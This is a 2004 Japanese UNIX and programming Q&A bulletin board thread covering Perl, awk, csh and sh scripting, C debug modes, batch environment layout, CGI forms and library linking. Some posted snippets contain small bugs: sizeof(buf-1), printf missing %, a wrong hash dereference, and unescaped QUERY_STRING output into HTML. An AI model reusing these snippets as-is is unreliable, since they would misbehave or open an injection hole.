No. 3543 # 68user 2004/02/01 (日) 22:11:49
>>3542 右院堂
ASP はよく知りませんが、素の perl を使う場合は (そういう機能を
持つモジュールを使わない限りは) 相当する機能はないです (そういう
機能を持つモジュールの存在は知りません)。

      $buf .= "出力文字列1";
      $buf .= "出力文字列2";
      ...
      print $buf;

や、

      open(STDOUT, "> /foo/bar/tmp.$$");
      print "出力文字列1";
      print "出力文字列2";
      ...
      close(STDOUT);

      open(IN, "/foo/bar/tmp.$$");
      print <IN>;
      close(IN);

などと自分でバッファに保存し、最終的に出力するのが
よいと思われます。

No. 3544 # yuki 2004/02/04 (水) 17:58:59
ポートに関しては初心者です。
すいませんが、ポート番号について教えて下さい。

Solarisを使用していますが、ポート番号は任意の決め事ですか?
現在使用しているSolarisは下記設定になっているようです。
WEBサーバはポート=80、FTP=20、プリントサーバ=9100

これらは、標準で決まっているのでしょうか?
また、相手側を意識せず勝手にきめてもよいのでしょうか?

他に、ポートの設定をみる方法とかありましたらご教授下さい。
宜しくお願いします。

No. 3545 # 68user 2004/02/04 (水) 18:10:08
>>3544 yuki
> Solarisを使用していますが、ポート番号は任意の決め事ですか?
おおまかな指針はありますが、任意です。

> WEBサーバはポート=80、FTP=20、プリントサーバ=9100
デフォルトではそのような設定になっていますが、ほとんどの
場合は (サーバソフトウェアが対応していれば) ポートは変更
できるでしょう。ポート変更方法は各サーバソフトウェアの
マニュアルに書いてあるはずです。

> また、相手側を意識せず勝手にきめてもよいのでしょうか?
標準的でないポートを使用するよう設定変更してもいいですが、
利用者に通知しないと使うことができません。

例えば web サーバであれば
        http://www.example.co.jp/
ではなく
        http://www.example.co.jp:8080/
にアクセスするようアナウンスしないといけませんし、プリンタで
あれば自組織の環境設定手順書に
    「プリンタの設定時に、ポート xxxx を使用するように設定してください」
と書いておく必要がある、といった感じです。

というわけで、標準的でないポートを使うことはできますが、
なにかとめんどくさい、という感じです。また、外部向けの
サービスであれば、ファイアウォールで弾かれたりする危険性は
高まりますね。

No. 3546 # yosi [E-mail] 2004/02/06 (金) 12:22:43
irix使ってますが、ls -lでfileの詳細を見ると、拡張子の後に*が表示されてます。これはなにを意味するのでしょうか?

No. 3547 # 68user 2004/02/06 (金) 22:17:48
>>3546 yosi
実行ファイルと思われます。ls の -F オプションの説明を読んでください。

No. 3548 # つくも 2004/02/07 (土) 15:13:42
UNIXのCシェル2点につてい教えて下さい。

1点目
以下の、a.txtファイルから第1フィールドの値を
先頭の'0' or "> 0 "のゴミを取って、10桁(先頭0なし)だけを
また、第1フィールドの文末の半角スペースや’|’を取ってとり
だしたいのですが、第1フィールはawkを使って取得できますが、
その後に編集ができません。たしか、sedの何かを使えば数字のみ
だけを取り出せたと思うのですが、浮かんできません。
教えていただけないでしょうか。

cat a.txt | awk -F"," '{ print $1 }' | sed

a.txt
09012345678,aaaa
07055593850,bbbb
9098765432,cccc
7012345678,ddddd
> 07012345679 | ,eeeee
07012345670 ,ffff

出力結果
9012345678
7055593850
9098765432
7012345678
7012345679
7012345670

2点目
Cシェルで定義ファイルに設定してある項目を読み込むには
どうしたらよいのですか。
定義ファイル
MN=ABCDEFG
FILE=/work/temp.txt

set PARM1 = `grep ^MN 定義ファイル| awk -F"=" '{ print $1 }'`
set PARM2 = `grep ^FILE 定義ファイル| awk -F"=" '{ print $1 }'`
と繰り返すかないのでしょうか。
また、何も、タブとか半角スペースから始まっている場合もあると思うの
ですが、どうすればよいのですか。

No. 3549 # zsh 2004/02/09 (月) 08:22:34
>>3548 つくも
1点目はawkのみで可能。
(古いawkではダメとかあるかも知れないけど。)
------
awk 'BEGIN {
                FS = "," ;
} {
                i = match($1,"[1-9]");
                print substr($1,i,10);
}' a.txt
------

2点目は、こんな事が許されるのか判りませんが
------
eval `awk 'BEGIN{ FS="=" }{ if(NF != 0) print "set " $1 " " $2}' param.txt`
------
大人しく定義ファイルで「set A=val」と書いて
sourceすべきだと思いますが・・・

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3550 # zsh 2004/02/09 (月) 08:28:33
>>3549 zsh
2点目は以下の間違い。
------
eval `awk 'BEGIN{ FS="=" }{ if(NF != 0) print "set " $1 "=" $2 }' param.txt`
------

>68user様
半角カナ失礼しました。

No. 3551 # つくも 2004/02/09 (月) 13:54:08
>>3549 zsh
>>3550 zsh
ありがとうございました。
両方ともできました。

ただ、2点目については、定義ファイルでの変数名とシェル内での設定
する変数名がことなっていたので最初は誤ってしまいました。

No. 3552 # 恵美 2004/02/12 (木) 19:48:32
はじめまして、恵美といいます。
いろいろ検索していましたら、このページにたどり着きました。
私は某会社のSE見習いなのですけれど、perlのリファレンスでつまづき悩んでいます。
ハッシュのリファレンスを上手にコピーする方法がよく、...いえ...さっぱりわからないです。
会社の人にきいたら、リファレンスは知らないと言われ、ダブルショックでした。

リファレンスを、1つ1つコピーすると

$hash->{'str'} = $hash2->{'str'};

これだけなのですが、複数の値を同時にコピーするといつも失敗してます。

普通のハッシュでスライスを使うと、

my %hash = (a=>1,b=>2,c=>3);
my %hash2 = (x=>11,y=>12,z=>13);

@hash{'a','c'} = @hash2{'x','z'};

print $hash{'a'},$hash{'c'},"\n";

  11 13 となるのですけれど、同じことをリファレンスでやると失敗するんですよ。

$hash = {a=>1,b=>2,c=>3};
$hash2 = {x=>11,y=>12,z=>13}

このとき、
print $hash->{'a'},$hash->{'c'},"\n";

の答えはどうしたら、 11 13 になるのでしょうか。

よろしくお願いします。

No. 3553 # 68user 2004/02/12 (木) 23:04:41
>>3552 恵美
    - ($x{'k1'}, $x{'k2'}) は @x{'k1','k2'} と等価 (*1)。
    - ハッシュのリファレンス $y のデリファレンスは $$y{'k1'}
        ($y->{'k1'} と同じ)。

をふまえた上で、今回は ($$y{'k1'}, $$y{'k2'}) を代入したい
ので、*1 を素直に置き換えると
        @$hash{'a','c'} = @$hash2{'x','z'};
となります。

てゆーか、ハッシュスライスは使わない方がいいですよ。配列と
間違えやすいので、可読性低すぎです。わたしなら 2 項目であれば
      $hash->{'a'} = $hash2->{'x'};
      $hash->{'c'} = $hash2->{'z'};
と 2行で書きます。

どうしても短く書きたい場合でも
      ($hash->{'a'}, $hash->{'c'}) = ($hash2->{'x'}, $hash2->{'z'});
とします。

項目数が多いなら
      my %map_table = ('x'=>'a', 'z'=>'c');
      while (my ($fromkey, $tokey) = each %map_table){
            $hash->{$tokey} = $hash2{$fromkey};
      }
とか。長くはなりますが、項目の対応がもっともわかりやすく、タイプ
ミス ($hash と $hash2 を書き間違えるとか) の可能性も減ります。

No. 3554 # 恵美 2004/02/13 (金) 01:33:24
こんにちは恵美です。
どうもありがとうです(^^)v
すっかり解決して嬉しいです。
リファレンスはいまいちよくわかってないけど...

複数行で記述するのを1行でって思ってずっと悩んでいたんだけど、心の中を読まれちゃったかな...

なんか、すごすぎるページなのでちょくちょく見に来ます。

おやすみなさい。
今日はありがとう(^^)

No. 3555 # 瀧上 2004/02/15 (日) 21:46:41
はじめまして、瀧上と申します。
現在UNIX環境でのバッチ処理方式・環境設計を行っています。
開発経験はあるのですが、環境構築からやるのは初めてで頭を悩ましています。宜しければ下記の点についてご教授下さい。

デバッグメッセージの出力有無の切替について教えて下さい。
開発言語はCシェル&Cです。
以前のプロジェクトではC言語におけるデバッグメッセージを出力するしないを、環境変数で設定してしました。おそらく、これを見る事によりデバッグメッセージ出力用の共通関数にデバッグのON/OFFを切り替えさせていたのだと思います。
もし、上記以外に一般的な(適切)な方法があるなら教えて下さい。
レベルの低い質問で申し訳ないのですが、よろしくお願い致します。

※UNIXの環境構築や、ジョブスケジューラにおけるNET設計の参考となる
    URLをご存知であれば教えていただきたいです。
    

No. 3556 # 68user 2004/02/16 (月) 10:23:10
>>3555 瀧上
> 上記以外に一般的な(適切)な方法があるなら教えて下さい。
しょせん決め事なので、一般解はありませんが、
      - コマンドオプション (--debug や -d など) を指定する
      - make debug で、デバッグ用バイナリを生成する
      - make install すると ~/bin/ に通常バイナリを、~/bin/debug/
          にデバッグ用バイナリを格納する
などの方法があります。

どれでもいいので、いずれかをプロジェクトのルールとして決定して
おくのがよいでしょう。

わたしの場合、
        「デバッグモードは開発時のためのモードではなく、通常運用時や
            後々のバグ追及時にこそ有用なもの」
という考え方なので、わたしが好む方法は以下の通りです。

      - デバッグモードを実装する。デバッグモードの場合、rollback
          するなどして、データを一切更新しないようにする (まわりの環境に
          一切影響を与えない)
      - デバッグモードとは別に、冗長なメッセージを出すだけの冗長
          モード (verbose モード) を実装する。冗長モードの場合は、
          通常どおりデータを更新する。
      - エラー発生に気づきやすいよう、ログに吐いたメッセージは
          標準出力・標準エラー出力にも吐くようにする。
      - オプションでデバッグモード・冗長モードを切り替えられること。
          例えば --debug でデバッグモード、--verbose で冗長モード、など。
          デバッグモードの場合、自動的に冗長モードも有効にするようにする。

コード例は以下の通り。

          int debug_flg = 0;
          int verbose_flg = 0;
          for ( i=1 ; i<argc ; i++ ){
                  if ( strcmp(argv[i], "--debug") == 0 ){
                          debug_flg = 1;
                          verbose_flg = 1;
                  }
                  if ( strcmp(argv[i], "--verbose") == 0 ){
                          verbose_flg = 1;
                  }
          }

          /* こんな感じで各種情報を出力 */
          verbose("ほげほげ foo=[%d]", foo);

          ....
          if ( debug_flg ){
                  EXEC SQL ROLLBACK RELEASE WORK;
          } else {
                  EXEC SQL COMMIT RELEASE WORK;
          }

          void
          verbose(char *fmt, ... ){
                  va_list ap;
                  char buf[8192];

                  /* verbose モードでなければ、何もしない */
                  if ( ! verbose_flg ){ return; }

                  va_start(ap, fmt);
                  vsnprintf(buf, sizeof(buf-1), fmt, ap);
                  va_end(ap);

                  fprintf(stderr, "debug: %s", buf);
          }

使い方としては、
      - 単に詳細なメッセージを表示したい場合は冗長モードを使う。
      - まわりの環境に影響を与えず、とりあえずうまく動くか確かめたい
          場合はデバッグモードを使う。
となります。


> UNIXの環境構築
UNIX の環境構築と言っても範囲が広すぎるので、なんともいえません。

> ジョブスケジューラにおけるNET設計
これは何でしょうか? JP1 とかの話?

No. 3557 # 瀧上 2004/02/16 (月) 12:32:15
大変参考になります。
方式だけでなく、考え方とコードまで載せていただいたのは恐縮です。
参考例を深慮して方式を定めます。
ありがとうございました。

> UNIXの環境構築
UNIX の環境構築と言っても範囲が広すぎるので、なんともいえません。
→そうですね、すみません、主にUNIX環境でのバッチ処理におけるShellの置き場所や構成の最適な方式を調査できるHPを探していました。「コンパイラ等、ツールの環境(変数)設定ファイルは全て別で持つのが好ましいのか」、、とか、「バッチ処理起動shellでsourceする環境設定ファイルにディレクトリとOracleSIDを考えているが、これが最適なのか?」等です。。。開発、本番時に必要な要件を洗い出していけばおのずと出てくると思うので、考えてみます。 開発とUNIXでの開発経験が乏しいので、自分の知っている方式を、プロジェクトの標準として使っていいのか不安なのです(^^;)

> ジョブスケジューラにおけるNET設計
これは何でしょうか? JP1 とかの話?
そうです。本日書籍購入しました。上記と同じで、もし有効なHP等ご存知であれば教えてもらいたいと思ったので。。。。
    

No. 3558 # 68user 2004/02/16 (月) 15:45:23
>>3557 瀧上
> 主にUNIX環境でのバッチ処理におけるShellの置き場所や
> 構成の最適な方式を調査できるHPを探していました。
そういうことを書いている web は見たことないですね。基本的に趣味で
やってる人には関係ないし、それを知ってる企業は「ノウハウ」として
隠してしまいますので。

# しょーもないやり方を「ノウハウ」などと称しているところも
# 多いわけですが。

ちょっと長くなりますが、まぁひととおり書いてみます。


まず、ユーザを複数作ります。例えばユーザ名が hoge なら、
      hogedevel (開発環境)
      hogesi (SI (結合テスト) 環境)
      hogert (RT (受入テスト) 環境)
の 3つくらい。それぞれのホームディレクトリは /home/hogedevel,
/home/hogesi, /home/hogert などとします。

さらに DB が必要であれば、これも 3つ (hogedevel, hogesi,
hogert) 作ります。

通常の開発は hogedevel を使います。hogesi や hogert は
テストの段階で初めて使います。
      「開発者は基本的に hogedevel しか使ってはいけない」
というシバリを入れるのもよいでしょう。


各ホームディレクトリの下には
        src/ ソース置き場。CVS などでソース管理すること。
        conf/ 手で管理する設定ファイルなどを置く場所。
        bin/ バイナリ置き場。src で make install すると作成される。
        lib/ バイナリ以外の設定ファイルやデータファイルなど。
                  src で make install すると作成されるものに限る。
        log/ ログファイル置き場
        dat/ 生成するデータファイル・他から送られてきたデータファイル
とします。

つまり src/ で make install すると bin/, lib/ が作成される
わけなので、bin/ や lib/ は消しても src/ を元に再作成する
ことができます。

しかし conf/ は手動管理の設定ファイル群なので、こちらは
消してはいけません (conf/ も CVS などで管理するのがよい
でしょう)。

lib/ には、プログラムで生成する雛型のファイルとか、SQL*Loader
用に喰わせるファイルなど、devel, si, rt で共用のファイルを置き
ます (実行形式のバイナリではないけど、プログラムの一部と見なして
よいものを置く)。


で、環境変数は
      /home/hogedevel/conf/env.sh
      /home/hogesi/conf/env.sh
      /home/hogert/conf/env.sh

      ORACLE_SID=hogedevel
      HOME=/home/hogedevel
      PATH=/home/hogedevel/bin
      ORACLE_HOME=...
書きます。

これを source して各アプリが起動し、
      - DB の接続先は $ORACLE_SID とする
      - $HOME/log/ にログを吐く
      - $HOME/data/ にデータファイルを作成する
とします。


というわけで、基本的には
> バッチ処理起動shellでsourceする環境設定ファイルにディレクトリと
> OracleSIDを考えているが、これが最適なのか?
それでよいと思います。

> コンパイラ等、ツールの環境(変数)設定ファイルは全て別で持つのが
> 好ましいのか
どういうファイルのことを指しているのかよくわかりませんが、
      $ORACLE_HOME/precomp/lib/env_precomp.mk
とかですか?

基本的に、この辺は共通でよいのではないでしょうか。もし、一部の
プログラムで特殊なことをしたければ Makefile 内で上書きすればよい
わけで。

あと、いくつか気をつけるポイントをあげておきます。

      - ディレクトリやファイルは絶対に手で作成しない。

          手で作成するとかならずミスするので、全て Makefile に
          記述する。

      - CVS などのソース管理ツールを活用する。

          /home/hoge{si,rt}/src/ に手でソースを配置し、手で make install
          する、というやり方は極力避ける。CVS などでマスタ管理し、
                  毎日朝 AM6:00 に、自動的に ~hoge{si,rt}/src にソースを
                  checkout し、make install
          などと、全てを自動化するのがベスト。

この他に何か質問があれば、もう少しポイントを絞って、具体例を
あげてください。

>> これは何でしょうか? JP1 とかの話?
> そうです。本日書籍購入しました。
非オープン系なアプリの場合、web 上からの情報収集は厳しいかと
思います。

JP1 は使ったことがないのでわかりません (わたしは cron の代替品、程度の
認識しかありませんが)。やっぱり便利なんですかねぇ。

No. 3559 # 68user 2004/02/16 (月) 15:54:18
>>3558 68user
> しかし conf/ は手動管理の設定ファイル群なので、こちらは
> 消してはいけません (conf/ も CVS などで管理するのがよい
> でしょう)。
lib/ との違いがわかりづらい気がするので補足。

hoge{devel,si,rt} で異なる設定ファイルは conf/ に、そうでない
ものは lib/ に置く、という意味です。

もちろん make 時に環境によって異なるファイルを lib/ にインス
トールできれば conf/ などいらないのですが、それを実現するためにMakefile に複雑な細工をしなければいけないケースがあったりするので。

No. 3560 # ふくし [E-mail] 2004/02/17 (火) 19:43:42
おひさしぶりです。困ったときばっかり登場してすみません。
たぶんあけましておめでとうございます。

ここ5年ぐらいメンテしてる CGI なんですが、
根本的な改革を迫られました。

A.cgi が生成するページにおいて、
ボタンを押したら(可変パラメータ付きで)
B.cgi が生成するページに進み、
リンクを押したら(可変パラメータなしで)
C.cgi が生成するページに進むという実装になっています。

ところが、ここで C.cgi にも
A.cgi で選択入力する可変パラメータを渡さなければ
ならなくなったのです。

A、B、C 非常に肥大化していて、安易な解決法が欲しい状況です。
CGI のみで解決できればうれしいですが、
場合によっては JavaScript でもかまいません。
なにかあればご教示願えれば幸甚です。よろしくお願いします。

No. 3561 # 68user 2004/02/17 (火) 22:06:10
>>3560 ふくし
これを機にリファクタリングした方が、のちのち幸せになれると
思いますよ。

…というのは十分承知しておられると思うので、その場
しのぎな案を 2つばかり。

1. B.cgi で受けたパラメータを
            print qq(<input type=hidden name="param_from_a"
                                value="$ENV{QUERY_STRING}">\n);
      などとまるごと C.cgi に渡す。

2. 隠しフレームを作っておいて、A.cgi で選択されたら
      onClick などでフォーム内容を隠しフレームに転記して
      おき、(B.cgi は無修正で) C.cgi がその隠しフレームを読む。

No. 3562 # 瀧上 2004/02/17 (火) 23:41:32
アクセスが遅くなり申し訳ありません。瀧上です。
丁寧なご回答ありがとうございます。
工程別のユーザの切り分けは私の方でも近い形で考えており、ご回答に近い形で定めようと思っています。→開発環境ではユーザを分けますが。
とりあえず考え方に大きなずれが無い事が判明してほっとしています。
ディレクトリですがConfの概念は無くこれはこちらを参考に構成を考えようと思います。CVSはシステム標準で構成管理ツールとして使用することが決定しています。デバッグモードの考え方は、色濃く方式に出そうです(^^;)

ところで申し訳ないのですがもう少し勉強させてもらいたい事がありまして、お言葉に甘えていくつか質問させてください。

→たとえばログイン時に「.cshrc」から「環境変数設定ファイル」をSourceしたとして、この時「環境変数設定ファイル」から設定した環境変数は、サーバDOWNかそれを書き換えるまで確実に保証されるのでしょうか?

→LIBがmakeInstall時に取り込まれるものだとしたら、
    動的なライブラリはUNIXにおける開発ではあまり使用しないものなのですしょうか?システム共通部品等は動的ライブラリから呼び出すのが一般的かなと思っているのですが。

    /COMMON/bin/xxxxx.so←拡張子も「.so」一般的なのか疑問ですが、
                                                 dllでは無いと思うので。。。
                                                 もしくは実行ファイルとしてbinに持つ?

No. 3563 # ふくし [E-mail] 2004/02/18 (水) 11:20:50
>>3651 68user
すいません、題意を間違えて伝えたかもしれません。
これでよかったです。

  A.CGI
    start_form(action="B.CGI");
        フォーム要素1;
    end_form;
    start_form(action="C.CGI");
        フォーム要素2;
    end_form;

要は B と C に別の可変要素を渡すのなら、これでできたんですね。
昨日それでできるんじゃないカナと思ってたんですが、
コードにバグをつくっていました。

なお、ボタンを submit にしないで、name をつけ、
name を JavaScript で読み取って切り分ける、という方法も
あるようです。これならフォーム要素を共有できるな。
http://webmaster.hatena.ne.jp/1069376628



事情を説明すると、5年越しということでおわかりいただけると
思いますが、FileMaker で作っていた経理システムが 2000 年問題で
止まる(私製のテンプレートがダサくて)という話があり、
その時個人的に見積書を CGI で出していたことがバレ、
2000 年の 3 月にはちゃんとした業者ウェアを入れるから
それまでそれっぽいものを動かしてよ、と言われました。
で、2000 年の 3 月に、業者ウェアの日本語対応ができないと分かり
(ガイシ系なんで・・・)
その年いっぱい動かすことになりました。
以下、同じことが 200年、2001年、2002年、2003年に起こりました。
いよいよ今年の5月にこのシステムが正式に引退させることが
決定した(・・・)のですが、その前にどうしても大きな山を
乗り越えるためにプログラムを改造することになったのです。
でも「どうせ5月に引退すると決まっているシステムに大金を
投じるわけにはいかない」ので、それだけに長い時間を避けないんです。
人生いろいろですね:)

No. 3564 # たけ 2004/02/18 (水) 12:34:47
教えてください。
指定したポートを開放するために必要なinetd.confの設定方法を教えてください。また、他に必要な設定が必要でしょうか。
ご教授お願い致します。

No. 3565 # 68user 2004/02/18 (水) 22:27:42
>>3562 瀧上
> たとえばログイン時に「.cshrc」から「環境変数設定ファイル」を
> Sourceしたとして、この時「環境変数設定ファイル」から設定した
> 環境変数は、サーバDOWNかそれを書き換えるまで確実に保証される
> のでしょうか?
setenv で更新したら変更されます。.cshrc を更新しても、
明示的に source したり、ログインしなおさないと反映
されません。

よって、プログラムの先頭で source するか、cron であれば
        * * * * * . /home/hoge/env.sh && /home/hoge/bin/foo
としておくのがよいでしょう (JP1 でも何かしら環境変数を
指定するような設定があるのではないかと想像します)。

> LIBがmakeInstall時に取り込まれるものだとしたら、
そういう意図ではなく、実行時に必要ないろいろなファイルの
置き場所、として書きました。

もし動的ライブラリを使うなら lib/ に置くことになる
でしょうね。

でなくて、静的にリンクするなら、ライブラリは src/ の
下だけ置いて、アプリのmake install 時にリンクしmasu.
ライブラリ自体は lib/ に make install しません (実行時
には必要ないので)。

で、それはそれとして
> 動的なライブラリはUNIXにおける開発ではあまり使用しない
> ものなのですしょうか?
についてですが、わたしの場合は静的にリンクする方法を
好みますが、別に動的リンクがダメと言うほどではないです。

業務系では多少のメモリ使用量の多寡ははどうでもよいので、
構成管理のやりやすさだけを考慮すれば構わないと考えます。

で、例えば、

    1. ライブラリ関数 func をプログラム A・B・C が使用している。
    2. プログラム A に不具合が発生。すぐに修正版をリリース
          しなければならない。
    3. 原因は func であることが判明。しかし func の呼び出し方の
          違いから、プログラム B・C ではこの現象は発生しない。

という状況を考えます。

静的にリンクしている場合、もし人的リソースに余裕があり、
func 修正時にプログラム A・B・C のテストをすることができる
なら、修正版 func のリリース時にプログラム A・B・C を再
コンパイルすることができます (これが最も望ましい)。

しかし、プログラム B・C をテストする余裕がない場合、
      func を修正して再コンパイルし、プログラム A を再コンパイル
とすることで、プログラム B・C に影響を与えず func を修正
するという選択肢をとることができます。

ただしこれは
        プログラム A が使用している func と、プログラム
        B・C が使用している func が異なる
という管理しづらい状況になるため、次期リリース時に全てを
再コンパイルするまでの時間かせぎです。


つまり、静的リンクの場合、
      目の前のリスクを少なくしたいなら
          → プログラム A のみを再コンパイル
      構成を単純にしたいなら
          → プログラム A・B・C を再コンパイル
と、状況に応じた選択が可能です。

しかし動的ライブラリだと、動的ライブラリを入れ替えて、
プログラム B・C に不具合が出るかもしれないリスクを負う
という選択肢しかありません。

よって、わたしは静的にリンクする方を選びます。


ただし静的リンクの場合、再コンパイル忘れなどで各プログラムが
使用しているライブラリのバージョンが異なる、という状況が発生
する可能性がありますが、この対策として、定期リリース時に商用
環境の
      - 全ソース・全プログラムを削除
      - 最新版のソースを全て再コンパイル
      - 全プログラムを make install
とすれば OK でしょう (最上位ディレクトリで make && make install
すれば全アプリ入れ替え完了)。

# 仮に動的リンクを選択したとしても、上記の「定期リリース
# ごとに全部インストールしなおす」というやり方は強く
# おすすめしておきます。

No. 3566 # 68user 2004/02/18 (水) 22:32:15
>>3564 たけ
> 指定したポートを開放するために必要なinetd.confの
> 設定方法を教えてください。
質問が曖昧すぎて答えられません。inetd のマニュアルと
/etc/inetd.conf にある他の設定例を見てください。

それでもわからなければ、何がしたいのかを明記した上で
再度質問してください。

No. 3567 # うこん 2004/02/19 (木) 20:31:09
はじめまして。初心者ですが、コマンドはどこに打てばいいんですか?

No. 3568 # すすむ 2004/02/19 (木) 23:45:42
以下のようなファイルからaddとmodとdelのerrrorがある行を
取り出したいのですが、

------ ここから -----------
---- server1 ----
add:yamada:success
add:saito:error
mod:yamamoto:success
mod:ikeda:error
del:yamaguchi:success
del:butou:error

---- server2 -----
add:yamada:success
add:saito:error
mod:yamamoto:success
mod:ikeda:error
del:yamaguchi:success
del:butou:error

------ ここまで ----------

grep -v "\-\-\-" ファイル名 | grep -v success

で一応とりだせるのですが、改行の2行が含まれて
しまいます。空改行を含まず1回の処理でやりたいのですが
どうすればよいのですか。

No. 3569 # すすむ 2004/02/20 (金) 02:12:12
>>3568 すすむ

環境を書き忘れました。
SunOSで、Bシェルです。

No. 3570 # zsh 2004/02/20 (金) 10:53:37
>>3568 すすむ
errorを取り出したいなら素直に
grep ":error" filename
とすれば良いのでは?

まぁ名前にerrorが含まれる人がいると引っかかってしまうので
正規表現使うべきなんだろうけど。

No. 3571 # つくも 2004/02/20 (金) 12:14:56
>>3568 すすむ
賢いかはわかりませんが、

grep -v "\-----" ファイル名 | grep -v success | awk '{ if(NF != 0) print $0 }'

でできませんか。

No. 3572 # すすむ 2004/02/20 (金) 12:17:41
>>3568 すすむ

「success」と「error」と簡単に書きましたが、
成功の場合は、「success」で、失敗の場合は、エラーメッセージが
でます。
「error」だけでは、引っ掛けられません。

No. 3573 # 68user 2004/02/20 (金) 12:54:19
>>3567 うこん
あなたが置かれている状況がわからないので、回答できません。

>>3568 すすむ
わたしなら
      egrep '^(add|mod|del):' | grep -v ':success$'
とします。

No. 3574 # zsh 2004/02/20 (金) 13:15:19
>>3572 すすむ
であれば、
egrep -v '^(-|$|.*:success$)' filename
とか?

No. 3575 # すすむ 2004/02/20 (金) 16:00:58
>>3573 68user
>>3574 zsh

zshさん、68userさん
ありがとうございます。
egrepですか。

使用したことがないのですが、
「'^(-|$|.*:success$)' 」
の使い方につてい教えてください。

No. 3576 # /tk 2004/02/20 (金) 16:06:04
>>3561 68user
> 1. B.cgi で受けたパラメータを
> print qq(<input type=hidden name="param_from_a"
> value="$ENV{QUERY_STRING}">\n);
> などとまるごと C.cgi に渡す。
「などと」と書いてあるので, 細かいところは省略してあるのでしょうが
このままの記述ですと, パラメータの区切りが「&」という前提にて
パラメータの名前が「copy」や「reg」だった時に悲しい結果が待ってます。

理由はこのへん
http://www.ne.jp/asahi/minazuki/bakera/html/opinion/ampersand

No. 3577 # 瀧上 2004/02/21 (土) 19:01:34
>>3565 
ご回答ありがとうございます。
ライブラリの考え方は参考になります。
要件が無ければ原則禁止にしてしまおうかななんて。。。検討中です。。

ところでshellでバッチを走らせる時はユーザ設定を行わないようにするのがいいのですね。UNIXの部屋にある↓を見て気づきました。
「#!/bin/csh -f というのをよく見かけるが、その場合ユーザ独自の ~/.cshrc は読まれないので、エイリアスやシェル変数は使用できなくなる。」
なので今回はshellの構成は下記の様にするつもりです。ご報告まで。。。
----------------------------------
#!/bin/csh -f
#-------------------
#shell
#
#-------------------
source COMMON.src #→システム共通のパス(oracle等)や文字指定(LANG等)
source 環境.env   #→システム共通環境変数設定等

処理・・・・
-----------------------

No. 3578 # 瀧上 2004/02/22 (日) 18:22:17
Makeの環境について教えて下さい。
現在下記のディレクトリを作成して開発環境としようと考えていました。

/src /* makefileとsrcを保管     */
/obj /* make時の中間ファイルを保管 */
/bin /* 実行ファイルを保管     */

するとあるガイドに「.oと.cを別ディレクトリに置くとmake時のタイムスタンプの比較が困難になるのでやめるべきだ」、と書いてありました。
「個々の依存関係をいちいち指定しなければならない。」ともあり、「いちいち」等と書かれると非常に非効率な事の様に感じるのですが。。。

「.cと.oは同一ディレクトリに持つ」が一般開発業務で用いられる主要な方式なのでしょうか?
単体環境だと不特定多数の人間が多様なsrcファイルを作るのであまり余計なファイルを置いてごちゃごちゃさせたくないと言うのが理由で分けてるだけなので同一ディレクトリも特に問題は無いのですが。。。(消されても問題は無いファイルですし。。)
依存関係をmakefileに指定して別ディレクトリ管理と言うのはやらないのですかね?

No. 3579 # UNIX10ヶ月目 2004/02/22 (日) 21:19:06
No.3568さんに似たような質問なんですが、

ファイルが以下のようにあったとします。
_________________________________________
aaa bb ccc 02/22 ddd e1.3 fff
_________________________________________
その時に、実行するたびにe1.3の数字をe1.4、e1.5と実行
するたびに数字を0.1ずつ変更したいんですがCシェルで
そのような事をしたいのですが、どうしたらいいのでしょうか。
ご教授お願いします。

No. 3580 # zsh 2004/02/23 (月) 18:19:24
>>3579 UNIX10ヶ月目
例えば、0.0から9.9まで表示するには以下のような方法があります。
------
@ i = 0
while ( $i < 10 )
    @ j = 0
    @ n = $i * 10
    while ( $j < 10 )
        @ m = $n + $j
        set cnt = `echo "scale=1; $m/10" | bc`
        printf "0.1f\n" $cnt
        @ j++
    end
    @ i++
end
------
※:シェル変数cntに代入してprintfしているのは、0.0を出力するためです。

>>3575 すすむ
申し訳ありませんが、正規表現について解説された書籍を見るか
Webサイト等を探してください。
自分で回答しておいてなんですが、68user様の方法が良いと思います。
自分のはコマンドを強引に1つにまとめただけですので。

No. 3581 # つとむ 2004/02/24 (火) 11:14:23
Bシェルにつてい教えて下さい。

Bシェルで一次元配列を使用しているのですが、
HP-UX11.00で動いていたシェルスクリプトをSunOS5.8に移して
動かしたのですが上手くうごきません。

MONTHES[0]=Dec: 見つかりません。
MONTHES[1]=Jan: 見つかりません。
        :
置換が正しくありません。

となります。
どうのように修正すれば、動きますか。

------------------
#!/bin/sh
#

MONTHES[0]="Dec"
MONTHES[1]="Jan"
MONTHES[2]="Feb"
MONTHES[3]="Mar"
MONTHES[4]="Apr"
MONTHES[5]="May"
MONTHES[6]="Jun"
MONTHES[7]="Jul"
MONTHES[8]="Aug"
MONTHES[9]="Sep"
MONTHES[10]="Oct"
MONTHES[11]="Nov"

i=0
while [ $i -le 11 ]
do
        echo ${MONTHES[$i]}
        i=`expr $i + 1`
done

No. 3582 # zsh 2004/02/24 (火) 18:29:28
これなら動く筈。(未確認)

------------------
#!/bin/sh
#

MONTHES0="Dec"
MONTHES1="Jan"
MONTHES2="Feb"
MONTHES3="Mar"
MONTHES4="Apr"
MONTHES5="May"
MONTHES6="Jun"
MONTHES7="Jul"
MONTHES8="Aug"
MONTHES9="Sep"
MONTHES10="Oct"
MONTHES11="Nov"

i=0
while [ $i -le 11 ]
do
                eval echo $"MONTHES$i"
                i=`expr $i + 1`
done

No. 3583 # すすむ 2004/02/24 (火) 22:06:04
>3582

zshさん
ありがとうございます。
上手くいきました。

No. 3584 # つとむ 2004/02/25 (水) 01:54:25
>3582

UNIXといってもHP-UXとSunOS(Solaris)で違うのだから
Bシェルだからといって同じ機能jが使えるわけではない
のですね。

No. 3585 # zsh 2004/02/25 (水) 17:58:19
>>3584 つとむ
HP-UXは知らないのですが、配列使えるあたりがkshっぽいですね。

他の部分(スクリプト)がどうなっているかにもよりますが
kshに変えたほうが修正が少なくて済むかも知れません。
下ののシェルだったら、
一行目を「#!/bin/ksh」に変えるだけで動きそうです。

No. 3586 # まさどん 2004/02/25 (水) 23:48:27
はじめまして。本日暗号化について調べていたらこのホームページにたどり着きました。暗号化したいのは会社でPOPメールの受信ができないためメールを受信して暗号化し、Webメールなどに投げるようなプログラムでも作ろうかと思い立っていたため、こちらのホームページの内容は非常に役に立ちました。ありがとうございます。

No. 3587 # 68user 2004/02/26 (木) 02:38:49
>>3577 瀧上
> 「.oと.cを別ディレクトリに置くとmake時のタイムスタンプの
> 比較が困難になるのでやめるべきだ」
かどうかは知りませんが、とりあえずわたしは .o と
.c を別にするやり方を知りません。

